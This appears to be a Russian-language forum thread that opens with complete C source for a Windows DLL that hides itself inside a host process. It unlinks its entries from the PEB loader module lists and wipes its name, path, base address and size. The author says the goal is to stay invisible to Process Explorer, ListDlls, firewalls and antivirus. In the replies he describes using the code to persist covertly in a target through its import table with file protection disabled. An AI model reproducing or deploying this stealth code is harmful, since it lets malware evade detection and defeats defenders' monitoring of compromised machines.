Код (Text): /*Usermode Hide dll metod in 'C' advanced for new family OS Windows Я поместил весь код в один файл, что бы не париться и не оформлять потом в виде статьи, время- деньги, если у нас их нет, мы возьмем их у вас (шутка). Все что я здесь накодил - только для изучения стойкости систем защиты от вирусов и других вредных для нас программ и т.д. Как вы будете это применять мне абсолютно все равно, ибо cogitations poenam nemo patitur. К написанию данного примера, меня подтолкнула неспособность старых методов скрывать dll из списка загруженных модулей процесса в новых ОС семейства Windows, а именно фатальные ошибки, возникающие при попытках изменения периодич. структур , очевидно связанные с изменением производителями ядра самих этих структур. Поэтому используемые структуры максимально урезаны для данного применения. Наша цель - произвести изменения системной памяти родительского процесса, физически находящейся в его адресном пространстве между памятью выделенной под стек главного потока и начальным адресом проекции файла unicode.nls с целью уничтожения следов о загрузке нашей dll в память этого процесса, которые там оставил загрузчик ядра Windows. Привилегии отладчика нам для этого не нужны. Приступим к делу, пока ребята из Microsoft или Agnitum еще чего нибудь не придумали.*/ #pragma once #define _WIN32_WINNT 0x501 #include <windows.h> /*Объявляем структуры (некоторые сильно урезанные для наших целей) We Declare structures (some powerfully pared for our whole) Назначение структур хорошо понятно из их названий и содержания*/ typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; //<-pared } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA LoaderData; //<-pared }PEB,*PPEB; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _TEB { NT_TIB Tib; PVOID EnvironmentPointer; CLIENT_ID Cid; PVOID ActiveRpcInfo; PVOID ThreadLocalStoragePointer; PPEB Peb; //<-pared }PTEB; /*Прототип функции получения указателя на TEB из ntdll Function of reception of pointer on TEB from ntdll*/ typedef PTEB (NTAPI* GetCurrentNTTeb)(void); //Сама наша функция void DllHide(HANDLE hDLL) { PTEB TEB1; PEB* PEB1; LIST_ENTRY LIST_ENTRY1; PEB_LDR_DATA* PEB_LDR_DATA1; LDR_MODULE* LDR_MODULE1; /*Получаем указатель на PEB, это можно сделать 3-я методами Метод 1(самый простой) : __asm { mov eax, fs:[30h] mov PEB1, eax } Метод 2: __asm { mov eax, fs:[18h] mov TEB1, eax } PEB1=TEB1.Peb;*/ //Метод 3 (стандартными средствами ядра=>,более-менее базонезависимый): GetCurrentNTTeb NtGetTEB = NULL; NtGetTEB = (GetCurrentNTTeb)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtCurrentTeb"); TEB1=NtGetTEB(); PEB1=TEB1.Peb; //Получаем указатель на структуру, оставленную загрузчиком ядра PEB_LDR_DATA1=PEB1->LoaderData; /*Получаем указатель на первый список загруженных модулей он всегда описывает ntdll.dll*/ LIST_ENTRY1=PEB_LDR_DATA1->InLoadOrderModuleList; /*Перечисляем списки, пока LDR_MODULE1->BaseAddress не совпадет с адресом загрузки нашей dll (здесь можно ускорить и так быстрый процесс, но это оставлю вам)*/ do{ LIST_ENTRY1=*LIST_ENTRY1.Flink; LDR_MODULE1=(_LDR_MODULE *)LIST_ENTRY1.Flink; }while(LDR_MODULE1->BaseAddress!=hDLL); /*Подчищаем структуры, связанные с нашей dll здесь код немного растянут для понимаемости*/ MessageBox(NULL,"Вхождение найдено, после \n нажатия OK dll скроется", "HideDll",MB_OK); LIST_ENTRY* LIST_ENTRY2; LIST_ENTRY* LIST_ENTRY3; LIST_ENTRY3=LIST_ENTRY1.Flink; LIST_ENTRY2=LIST_ENTRY1.Blink; *LIST_ENTRY2->Flink=*LIST_ENTRY3; /*Дальше, начиная с XP SP2 не работает: LIST_ENTRY3=LIST_ENTRY1.Blink; LIST_ENTRY2=LIST_ENTRY1.Flink; *LIST_ENTRY2->Blink=*LIST_ENTRY3; и не надо*/ //Продолжаем LIST_ENTRY1=LDR_MODULE1->InMemoryOrderModuleList; LIST_ENTRY3=LIST_ENTRY1.Flink; LIST_ENTRY2=LIST_ENTRY1.Blink; *LIST_ENTRY2->Flink=*LIST_ENTRY3; /*Дальше, начиная с XP SP2 не работает: LIST_ENTRY3=LIST_ENTRY1.Blink; LIST_ENTRY2=LIST_ENTRY1.Flink; *LIST_ENTRY2->Blink=*LIST_ENTRY3; и не надо*/ /*Практически все, нас уже не видно в ProcessExplorer,Task Explorer, даже в Microsoft ListDlls, а вот в каком то-там Starter видно!!! А все это потому, что мы удалили вхождения, а вот дескриптор оставили*/ //Затираем дескриптор (для наглядности через ZeroMemory) RtlZeroMemory(&LDR_MODULE1->BaseAddress,sizeof(DWORD)); /*Практически все, нас нет, но мы работаем, и думая о будущем наших фаеров и антивирусов все же подчистим за собой мусор, а именно удалим от греха всю информацию о нашей dll из контекста*/ //Чистим путь к нашей dll RtlZeroMemory(&LDR_MODULE1->FullDllName,sizeof(UNICODE_STRING)); //Чистим имя нашей dll RtlZeroMemory(&LDR_MODULE1->BaseDllName,sizeof(UNICODE_STRING)); //Чистим дату создания нашей dll RtlZeroMemory(&LDR_MODULE1->TimeDateStamp,sizeof(DWORD)); //Чистим размер отображения нашей dll RtlZeroMemory(&LDR_MODULE1->SizeOfImage,sizeof(DWORD)); /*Если захотите можете замаскировать свою dll под какую-либо другую, заменив в LDR_MODULE вышеперечисленное чем-то своим*/ } //Только для примера//For examples DWORD WINAPI BEEPER(LPVOID hDll) { //пример вызова DllHide(hDll); while(true){Sleep(1000); Beep(8000,50);} return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: /*Для примера таймер с бипером ч/з системный динамик правда отсюда создавать потоки не желательно Поток берется в качестве примера не случайно: Если посмотреть в списке потоков в том же Process Explorer, то мы увидим, что наш поток принадлежит якобы вовсе не нам а kernel32.dllт.к. указателя на дескриптор нашей dll в системной таблице контекста нет*/ CreateThread(NULL,0,BEEPER,(LPVOID)hModule,0,NULL); //For examples break; } if(hModule!=0) return true; else return false; } /*History source: -Tomasz Nowak (http://undocumented.ntinternals.net); -Sven B. Schreiber (sbs@orgon.com); -MS-Rem (http://wasm.ru/print.php?article=fwb*/ // RET © 2008
там вообще-то 3 списка (только вот запамятовал элементы их дублированы или одни и те же... влом отлачик юзать) что именно?
Здесь все работает и под SP2 . Просто рабочим кодом на Сях поделился. Может у кого на висте есть возможность проверить.
Привет тебе RET... Загружаешь через CreateRemoteThread -> обломайся, фигня. Сам понимаешь что написал ?
Это только для примера. Причем RemoteThread? Не обломался. Комменты мои. Цель: если есть у кого возможность все это проверить на свежей висте, просьба отписаться. Всё.
Изобретаешь велосипед ? Работа с этими списками - нормальная операция загрузчика, можно попроще - LdrUnloadLibrary().
Здесь только "родной" процесс куда мы прилеплены ч/з импорт. Просто была одна задача и этот код с ней надёжно справился, хотелось бы узнать справится он на свежей висте или нет.
Причин может быть много=) Тем более если он не совсем раньше был "своим". Задача была примерно такой - прицепиться с отключением WFP к цели ч/з таблицу импорта, дождаться чего нужно (день-два), сделать чего надо и удалить себя нафиг из импорта.